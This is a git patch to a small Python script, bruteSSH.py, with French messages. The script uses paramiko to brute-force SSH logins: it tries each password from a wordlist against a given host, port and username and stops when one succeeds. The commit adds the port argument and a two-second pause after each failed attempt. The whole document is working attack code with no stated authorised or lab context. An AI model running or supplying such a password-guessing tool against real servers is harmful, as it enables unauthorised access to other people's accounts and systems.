From 08a3900aa70b1d5809b2c5334ed3866117ac3286 Mon Sep 17 00:00:00 2001 From: jerome Date: Mon, 13 Oct 2025 23:49:05 +0200 Subject: paramiko --- bruteforce/bruteSSH.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) (limited to 'bruteforce/bruteSSH.py') diff --git a/bruteforce/bruteSSH.py b/bruteforce/bruteSSH.py index 32c93cb..f5833c7 100644 --- a/bruteforce/bruteSSH.py +++ b/bruteforce/bruteSSH.py @@ -1,13 +1,15 @@ -import paramiko, sys +import sys +import paramiko +import time -def bruteforce(hostname, username, password): +def bruteforce(hostname, port, username, password): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: - client.connect(hostname, username=username, password=password) + client.connect(hostname,port,username=username,password=password) except paramiko.ssh_exception.AuthenticationException: print("erreur : ",password) - #pass + time.sleep(2) else: print("trouvé : ",password) return True @@ -16,15 +18,16 @@ def bruteforce(hostname, username, password): if __name__ == "__main__": hostname = sys.argv[1] - username = sys.argv[2] - dico = sys.argv[3] + port = sys.argv[2] + username = sys.argv[3] + dico = sys.argv[4] try: with open(dico, 'r') as wordlist: for ligne in wordlist.readlines(): password=ligne.strip() - if bruteforce(hostname,username,password)==True: + if bruteforce(hostname,port,username,password) is True: sys.exit() except IndexError: - print(f"{sys.argv[0]} demande un hôte, un username et une liste de passwords en arguments") + print(f"{sys.argv[0]} demande un hôte, un port, un username et une liste de passwords en arguments") -- cgit v1.2.3